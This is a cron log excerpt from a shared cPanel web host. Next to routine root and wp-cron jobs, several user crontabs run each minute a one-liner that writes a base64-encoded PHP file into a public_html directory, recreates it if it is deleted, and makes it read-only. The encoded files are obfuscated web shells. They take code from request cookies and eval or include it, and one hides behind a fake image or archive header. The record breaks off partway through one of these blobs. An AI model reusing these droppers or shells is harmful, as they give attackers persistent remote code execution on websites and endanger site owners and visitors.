Apr 19 08:26:02 medusa CROND[3580]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:26:02 medusa CROND[3578]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:26:02 medusa CROND[3590]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:26:02 medusa CROND[3592]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:26:02 medusa CROND[3593]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:26:02 medusa CROND[3598]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:26:02 medusa CROND[3599]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:27:01 medusa CROND[28351]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:27:01 medusa CROND[28503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:27:01 medusa CROND[28504]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:27:01 medusa CROND[28505]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:27:01 medusa CROND[28506]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:27:01 medusa CROND[28511]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:27:01 medusa CROND[28513]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:27:01 medusa CROND[28515]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:27:01 medusa CROND[28520]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:27:01 medusa CROND[28522]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:27:01 medusa CROND[28524]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:27:01 medusa CROND[28512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:28:01 medusa CROND[20889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:28:01 medusa CROND[20890]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:28:01 medusa CROND[20891]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:28:01 medusa CROND[20892]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:28:01 medusa CROND[20893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:28:01 medusa CROND[20894]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:28:01 medusa CROND[20901]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:28:01 medusa CROND[20903]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:28:01 medusa CROND[20904]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:28:01 medusa CROND[20908]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:28:01 medusa CROND[20909]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTs